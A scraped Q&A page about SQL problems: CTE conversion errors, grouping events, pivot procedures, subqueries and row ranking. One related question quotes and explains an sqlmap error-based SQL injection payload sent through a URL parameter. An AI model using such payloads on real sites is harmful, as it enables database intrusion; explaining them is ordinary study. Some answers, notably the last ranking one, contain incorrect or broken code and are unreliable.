I wrote a CTE to remove non numeric values from a data set, then get a count of numeric values within a range.
WITH dtr
AS ( SELECT resultlevel r
FROM dbo.Result
WHERE DrugID = 'AMP'
AND ISNUMERIC(ResultLevel) = 1
AND AuditStamp > '1/1/2016'
AND DeleteFlag = 0
)
SELECT COUNT(*)
FROM dtr
WHERE CONVERT(INT, r) BETWEEN 50 AND 75
This returns an error in SMS
Msg 245, Level 16, State 1, Line 2
Conversion failed when converting the varchar value 'PND ' to data type int.
This error is completely possible without the 'dtr' query in the CTE.
When I rewrite this, instead of a CTR, but a TEMP table, it works.
SELECT resultlevel r
INTO #d
FROM dbo.Result
WHERE DrugID = 'AMP'
AND ISNUMERIC(ResultLevel) = 1
AND AuditStamp > '1/1/2016'
AND DeleteFlag = 0
SELECT COUNT(*)
FROM #d
WHERE CONVERT(INT, r) BETWEEN 50 AND 75
So my questions is why?? I have always thought a CTE was like creating a TEMP table.
TEST DATA
if object_id('tempdb..#temp') is not null drop table #temp
create table #temp (result char(5))
insert into #temp (result) values
('1'),('A'),('>2'),('PEN ') ,('#3'),('-2'),('-33')
;with isnum AS (
SELECT result
FROM #temp
WHERE ISNUMERIC(result) = 1)
--Selecting from the CTE yields 1, -2, and -33 all of which can be converted to INT
--Running the query with the where clause causes the conversion error
SELECT
result,
ISNUMERIC(result)
FROM isnum
--WHERE CONVERT(INT,result) > 1
In SQL Server there is Logical Processing Order of the SELECT statement, which determines when the objects defined in one step are made available to the clauses in subsequent steps:
FROM
ON
JOIN
WHERE
GROUP BY
WITH CUBE or WITH ROLLUP
HAVING
SELECT
DISTINCT
ORDER BY
TOP
This is how your query is going to be proccesed and your query looks perfectly fine. But sometimes, the SQL Server decides not to follow this order in order to optimize your query.
In your case, the SQL Server might be simplyfing/transforming your query into another and performing the convert function, before applying the where isnumeric filtering.
If we made your query a little more complex (but still giving the same results), the SQL Server is executing the code correctly this time:
;with isnum AS (
SELECT result
FROM #temp
WHERE ISNUMERIC(result) = 1
GROUP BY result
HAVING MAX(result) = result
)
SELECT
result,
ISNUMERIC(result)
FROM isnum
WHERE CONVERT(INT,result) > 1;
In your case (and this is what I am doing in such situations when different types are stored in one column), you can simply use TRY_CONVERT function:
;with isnum AS (
SELECT result
FROM #temp
WHERE ISNUMERIC(result) = 1)
SELECT
result,
ISNUMERIC(result)
FROM isnum
WHERE TRY_CONVERT(INT, result) > 1
Related
So this is the data what i want to output is which is matched with blue line and the desire output photo i have attached with it please have a look and get the desired result using a sql query
Test this:
WITH
cte AS (
SELECT *, SUM(delay_ping_type = 'wire_close') OVER (ORDER BY last_updated_on DESC) group_no
FROM source_table
)
SELECT MIN(last_updated_on) wire_open,
MAX(last_updated_on) wire_close
FROM cte
-- WHERE group_no > 0 -- removes final open without close
GROUP BY group_no
-- HAVING wire_open < wire_close -- removes close without matched open
-- HAVING MIN(last_updated_on) < MAX(last_updated_on) -- the same for PostgreSQL
;
https://www.db-fiddle.com/f/njuPYFYug87jTWKHHv6yRK/2 (thanks to #lemon for the fiddle).
Here's an example which may perform better than using windowed functions with group by. DBFiddle here: https://www.db-fiddle.com/f/4jyoMCicNSZpjMt4jFYoz5/5094
Updated: to fix issue where the first open rec was excluded instead of the 2nd+ duplicate.
PostgreSQL:
select r.last_updated_on as wire_open
--get next wire_close record
, (
select r2.last_updated_on
from tblTest r2
where r2.last_updated_on > r.last_updated_on
and r2.delay_ping_type = 'wire_close'
order by r2.last_updated_on
FETCH FIRST 1 ROW ONLY
) as wire_closed
from tblTest r
where r.delay_ping_type = 'wire_open'
--exclude duplicate wire_open records
--(exclude where this row is open and the preceeding row is open)
AND NOT EXISTS(
select 1
from (
SELECT dup.delay_ping_type
from tblTest dup
where dup.last_updated_on < r.last_updated_on
order by dup.last_updated_on desc
FETCH FIRST 1 ROW ONLY
) nextRec
where nextRec.delay_ping_type = 'wire_open'
)
;
I am trying Error Based SQL injection technique using SQLMAP. The technique as identified by SQLMAP is
error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
It will be great if someone can help give some clarity on the payload SQLMAP is using.
Payload: web/test?abc='' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- pprs
More specifically, what is happening in this SQL query
(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610)))
Update1:
The formatted query looks like this:
SELECT
2*(IF((
SELECT
*
FROM
(
SELECT
CONCAT(0x716b626b71,
(
SELECT
(ELT(9092 = 9092, 1))
)
, 0x71626b7071, 0x78)
)
s), 8446744073709551610, 8446744073709551610))
SELECT (ELT(9092 = 9092, 1)) : Query output is 1 as 9092=9092 results to true(i.e 1) and ELT function returns the 1st argument i.e is 1
So the next sub-query is :
SELECT CONCAT(0x716b626b71, 1, 0x71626b7071, 0x78) : Query Output results to concatenated string "qkbkq1qbkpqx" (after converting the hex to string)
However, the resultant sub-query SELECT * FROM qkbkq1qbkpqx gives an error saying Every derived table must have its own alias
Update2:
I missed the alias in the query as #tcadidot0 mentioned. So now the resultant sub-query is :
SELECT * FROM qkbkq1qbkpqx s
And the final query is:
SELECT 2*(IF((SELECT * FROM qkbkq1qbkpqx s), 8446744073709551610, 8446744073709551610))
If the table "qkbkq1qbkpqx" exists, then it returns 8446744073709551610 else it returns 8446744073709551610, however 2 times the result leads to this error : BIGINT value is out of range in '(2 * if((1 > 0),8446744073709551610,8446744073709551610)), assuming 1>0 is the condition instead of the select statement.
MyActualresultI am trying to get count of data which have particular status on different dates. Something like tracking shipment and getting today's report.
I have used Pivot with stored procedure. I get result as column and rows but return value null on executing the Sp.
Can any one please suggests how can I rectify the issue?
I tried to put the query in some variable and then execute but its not done correctly.
Create PROCEDURE [dbo].[GetCountOfShipmentWithStatus]
#DateToStart Date,
#DateToEnd Date,
#LabName nvarchar(30)
AS
BEGIN
SET NOCOUNT ON;
WITH TrackShipment AS
(
SELECT exData.ID, CAST(ExpectedDeliveryDt AS DATE) AS Deliverydate,A.AccountCode,L.Name, DATENAME(dw, ExpectedDeliveryDt) AS DayOfWeek,exData.MileStoneTypeId AS TrackingStatus,exData.AccountNo
FROM [Tracking].[TrackingExternalData] exData
Left Join [systemManagement].[SystemMetaData] sysmetadat on exdata.MileStoneTypeId=sysmetadat.systemMetaDataId
Left Join [Data_Replication_EZSHIP].[dbo].[AccountNumber] AS A on exData.AccountNo=A.AccountCode
Left JOIN [Data_Replication_EZSHIP].[dbo].[Location] AS L ON A.LocationId = L.Id
WHERE L.Name=#LabName
AND sysmetadat.systemMetaDataId IN ('E770CE7C-E0E6-40C6-AC51-5D2129F2DEB7','D6A011C8-C39C-45B5-9127-52D20C68E1C3','C7657AE1-9354-E911-BB4A-005056B00B08','559ECEC2-969A-4F8C-9A95-21C613D82F3A')
AND exData.ExpectedDeliveryDt <= #DateToStart AND exData.ExpectedDeliveryDt >= #DateToEnd
)
SELECT Deliverydate, DayOfWeek,
-- List of Pivoted Columns
[E770CE7C-E0E6-40C6-AC51-5D2129F2DEB7],[D6A011C8-C39C-45B5-9127-52D20C68E1C3], [C7657AE1-9354-E911-BB4A-005056B00B08], [559ECEC2-969A-4F8C-9A95-21C613D82F3A]
FROM TrackShipment
PIVOT
(
COUNT(Id)
-- List of Pivoted columns
FOR TrackingStatus IN([E770CE7C-E0E6-40C6-AC51-5D2129F2DEB7],[D6A011C8-C39C-45B5-9127-52D20C68E1C3], [C7657AE1-9354-E911-BB4A-005056B00B08], [559ECEC2-969A-4F8C-9A95-21C613D82F3A])
) as pvt
ORDER BY Deliverydate DESC
END
GO
I expect return value same as result of pivot.
I am guessing that this condition is incorrect:
exData.ExpectedDeliveryDt <= #DateToStart AND
exData.ExpectedDeliveryDt >= #DateToEnd
I don't know what you intend, because you haven't provided sample data, desired results, or an explanation of the logic you want.
But I am guessing that the comparison are backwards:
exData.ExpectedDeliveryDt >= #DateToStart AND
exData.ExpectedDeliveryDt <= #DateToEnd
I am running the following query which keep stating that more then one row is given:
select filestorage.id
from `filestorage`
where (SELECT LEFT(filestorage_inst_data.value, length(filestorage_inst_data.value - 1)) as seconds
FROM filestorage_inst_data
WHERE filestorage_inst_data.parameter = "Time" AND filestorage_inst_data.filestorage_id = filestorage.id) <= 3600
For some reason, the only very first value is passed into the subquery. Also, if I do set a limit within the subquery than the data is fetched fine, it's just I don't see why query would fetch multiple results?
Try this:
SELECT filestorage.id
FROM filestorage f
WHERE EXISTS(SELECT 1 FROM filestorage_inst_data fid
WHERE fid.parameter = 'Time'
AND fid.filestorage_id = f.id
AND CAST(LEFT(fid.value, length(fid.value - 1)) AS UNSIGNED) <= 3600)
You have to pass a specific one row when giving a select statement on where clause. select clause that, the one you using on where clause must return one unique row. for example.
"SELECT * FROM user WHERE role_id=(SELECT role_id FROM user_role WHERE role_name='Admin');"
I have a database with millions of records.
The table is structured as:
Table name : record
Filed1: Name (varchar)(Primary key)
Field2: Record(int/bigint)
example:
Name | Record
Darrin | 256
Aaron | 3
Daryl | 12
...
I need to know what position does the user with the name 'namex' in sorted records.
Currently i implement this solution:
...
$name=namex;
$query= mysqli_query($mysqli,"SELECT Name FROM record ORDER BY Record DESC");
$x=0;
$rank=0;
if ($query->num_rows > 0) {
// output data of each row
while($row = $query->fetch_assoc()) {
if($row["Name"]==$name){
$rank=$x+1;
echo "Rank : $rank<br>";
break;
}
$x++;
}
}
...
With it and 1 million records in the database, the answer comes in about 4 second.
I tried to put a table index on the field Record but have remained the same performance.
how can I reduce the execution times?
Since I don't know what DBMS you are using for (in tags you are using both mysql and sql-server...), you can you create a view (for SQL server have to be a indexed view) or for mysql implement/emulate a kind of materialized view (has a better performance). The view is good to get a better perfomance through some DBMS. For MySQL may have no difference.
In the view show up the rank position as the query below (mysql example):
CREATE VIEW ranked_record AS
SELECT
record.Name,
#curRank := #curRank + 1 AS rank
FROM
record,
(SELECT #curRank := 0) r
ORDER BY Record DESC;
or SQL server:
CREATE VIEW ranked_record AS
SELECT
record.Name,
row_number() over(ORDER BY record)
FROM
record;
And just run your query:
SELECT name , rank FROM ranked_record WHERE name LIKE 'some name'
Update:
After John comments, I've realized about the error from views using variables. It isn't possible due the "feature/bug" of/from MySQL
Due this, you can choose about use this as subquery in FROM clause:
SELECT
name,
rank
FROM (
SELECT
record.Name,
#curRank := #curRank + 1 AS rank
FROM
record,
(SELECT #curRank := 0) r
) AS ranked_record
WHERE
name LIKE 'some name';
OR create a function to count the rank inside the view (like this example):
CREATE FUNCTION `func_inc_var_session`() RETURNS int(11)
begin
SET #var := IFNULL(#var,0) + 1;
return #var;
end;
Then, create your view as before, just using the function instead of the variable:
CREATE VIEW ranked_record AS
SELECT
record.Name,
func_inc_var_session() as rank
FROM
record
ORDER BY Record DESC;
We can write this in sql query instead of fetching the records and looping it in PHP.
select row = row_number() over( order by Record ) , * from record where name like 'namex'
I dont really understand why are you looping every record knowing that the column "Name" its your PK (unique values).
$name="Darrin";
$query= mysqli_query($db_connection, "SELECT COUNT(1) as rank FROM record WHERE Name = '".mysqli_real_escape_string($name)."' ORDER BY Record DESC");
$row = mysqli_fetch_row($query);
if ($query->num_rows > 0) {
echo "Rank : $row["rank"]<br>";
}